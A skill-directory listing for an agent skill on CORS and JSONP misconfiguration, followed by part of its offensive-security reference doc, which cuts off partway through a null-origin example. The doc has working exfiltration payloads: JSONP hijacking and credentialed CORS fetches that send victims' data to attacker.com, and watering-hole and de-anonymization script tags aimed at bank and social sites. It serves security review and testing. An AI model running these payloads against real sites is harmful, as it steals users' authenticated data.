Cors Cross Origin Misconfiguration
Audit web APIs and browser-facing apps for dangerous CORS and JSONP setups before you ship or expose new endpoints.
Overview
cors-cross-origin-misconfiguration is an agent skill most often used in Ship (also Validate, Operate) that guides solo builders through CORS and JSONP misconfiguration risks and exploitation patterns.
Install
npx skills add https://github.com/yaklang/hack-skills --skill cors-cross-origin-misconfigurationWhat is this skill?
- Walks JSONP hijacking where script tags plus cookies pull authenticated JSON wrapped in attacker-chosen callbacks
- Documents watering-hole patterns that embed cross-origin JSONP URLs to exfiltrate profile or account data
- Covers honeypot-style JSONP use cases teams reference when de-anonymizing visitors
- Companion extended scenarios tie same-origin policy gaps to real-world exploitation chains
- Helps you test for reflected origins, wildcard-plus-credentials, and unvalidated callback parameters
Adoption & trust: 1.1k installs on skills.sh; 980 GitHub stars; 2/3 security scanners passed (skills.sh audits).
What problem does it solve?
You shipped or are about to ship browser-callable APIs but are unsure whether your CORS headers or JSONP callbacks let any site steal authenticated responses.
Who is it for?
Indie builders with cookie-session or token-backed web APIs who want agent-guided review of cross-origin exposure before launch or after endpoint changes.
Skip if: Teams that only need static-site hosting with no browser-to-API calls, or production audits that require certified pentesters and live exploit proof—not readme-style methodology alone.
When should I use this skill?
You are implementing or reviewing browser-facing APIs, JSONP legacy endpoints, or CORS headers and need exploitation-aware guidance before or after deployment.
What do I get? / Deliverables
You get a security-focused checklist of CORS and JSONP failure modes and concrete attack scenarios so you can tighten origins, callbacks, and credential policies before exposure.
- Prioritized list of CORS and JSONP misconfiguration findings tied to attack narratives
- Remediation notes for origin allowlists, credentials flags, and JSONP callback validation
Recommended Skills
Journey fit
Spans multiple journey phases - primary shelf plus alternate fits below.
Cross-origin misconfiguration is a classic pre-release and release-gate concern—solo builders catch permissive origins and credential leaks in the ship phase before users do. The skill targets application-security misconfigurations (CORS headers, JSONP callbacks), which map directly to the security subphase rather than generic QA or perf work.
Where it fits
Review whether your MVP login API reflects arbitrary Origins before you share a staging URL with beta users.
Run a structured pass over Access-Control-Allow-Origin and credentials flags on every browser-exposed route before production cutover.
Have your agent script devtools-style checks that pair legitimate CORS preflights with JSONP callback abuse cases from the extended scenarios doc.
Re-audit cross-origin settings after adding a partner embed or mobile webview that calls new JSONP legacy endpoints.
How it compares
Use as a focused appsec skill for origin policy review, not as a generic API integration or OpenAPI generator.
Common Questions / FAQ
Who is cors-cross-origin-misconfiguration for?
Solo and indie builders shipping web apps and APIs who use AI coding agents to reason about browser security boundaries and legacy JSONP endpoints.
When should I use cors-cross-origin-misconfiguration?
During Validate when scoping an MVP API surface, in Ship while hardening CORS before release, and in Operate when new routes or third-party embeds might widen cross-origin access.
Is cors-cross-origin-misconfiguration safe to install?
Treat it as offensive-security reference material—review the Security Audits panel on this Prism page and only run probing techniques against systems you own or are authorized to test.
SKILL.md
READMESKILL.md - Cors Cross Origin Misconfiguration
# CORS Misconfiguration — Extended Scenarios > Companion to [SKILL.md](./SKILL.md). Contains JSONP hijacking, same-origin policy deep dive, and real-world exploitation patterns. --- ## 1. JSONP Hijacking — Complete Attack Scenario ### Mechanism JSONP (JSON with Padding) wraps JSON data in a function call, enabling cross-origin data access via `<script>` tags. If the JSONP endpoint returns sensitive data and doesn't validate the Referer/Origin: ```html <!-- Attacker's page: --> <script> function stolen(data) { // data contains victim's sensitive information fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify(data) }); } </script> <script src="https://target.com/api/userinfo?callback=stolen"></script> <!-- Victim's browser sends cookies → authenticated request → JSONP returns stolen({"name":"victim","email":"..."}) --> ``` ### Watering Hole Attack via JSONP ```text 1. Attacker compromises or creates a popular website (watering hole) 2. Embeds JSONP requests to target sites: <script src="https://social-site.com/api/profile?callback=exfil"></script> <script src="https://bank-site.com/api/account?callback=exfil"></script> 3. When victim visits the watering hole: → Browser sends authenticated requests to social-site and bank-site → JSONP responses contain victim's data → exfil() function sends data to attacker ``` ### Honeypot De-Anonymization via JSONP Security teams use JSONP to identify anonymous visitors: ```html <!-- Honeypot page includes JSONP from social platforms: --> <script src="https://weibo.com/api/user?callback=identify"></script> <script src="https://github.com/api/user?callback=identify"></script> <!-- If visitor is logged in → JSONP returns their profile → de-anonymized --> ``` --- ## 2. Same-Origin Policy — Deep Dive ### Definition Two URLs have the same origin if and only if protocol, hostname, and port all match: | URL A | URL B | Same Origin? | Reason | |---|---|---|---| | `http://a.com/p1` | `http://a.com/p2` | YES | Same protocol, host, port | | `http://a.com` | `https://a.com` | NO | Different protocol | | `http://a.com` | `http://b.com` | NO | Different hostname | | `http://a.com` | `http://a.com:8080` | NO | Different port | | `http://a.com` | `http://sub.a.com` | NO | Different hostname | ### document.domain Relaxation Both pages can set `document.domain = "a.com"` to enable cross-subdomain communication: ```javascript // On sub1.a.com: document.domain = "a.com"; // On sub2.a.com: document.domain = "a.com"; // Now they can access each other's DOM ``` **Security risk**: if any subdomain has XSS, it can set `document.domain` and access all other subdomains that do the same. --- ## 3. CORS vs JSONP — Technical Comparison | Aspect | JSONP | CORS | |---|---|---| | Mechanism | `<script>` tag, callback function | `Access-Control-Allow-Origin` header | | HTTP methods | GET only | Any method (with preflight for non-simple) | | Data format | Wrapped in function call | Native JSON/XML/etc. | | Error handling | No (script either loads or fails) | Yes (fetch API catches errors) | | Security control | Referer/callback validation | Origin header + server whitelist | | Browser support | All (legacy) | Modern (IE10+) | | Credential handling | Always sends cookies | Only with `credentials: include` + server allow | **Migration path**: replace JSONP endpoints with proper CORS configuration. --- ## 4. CORS Exploitation Payloads ### Read Authenticated Data (reflected origin) ```javascript // If server reflects any Origin in Access-Control-Allow-Origin: fetch('https://target.com/api/sensitive-data', { credentials: 'include' // sends cookies }) .then(r => r.json()) .then(data => { // Exfiltrate: fetch('https://attacker.com/collect', { method: 'POST', body: JSON.stringify(data) }); }); ``` ### Null Origin Exploit (sandbox) ```html <!-- Create null origin via sandboxed iframe: --> <iframe sandbox="allo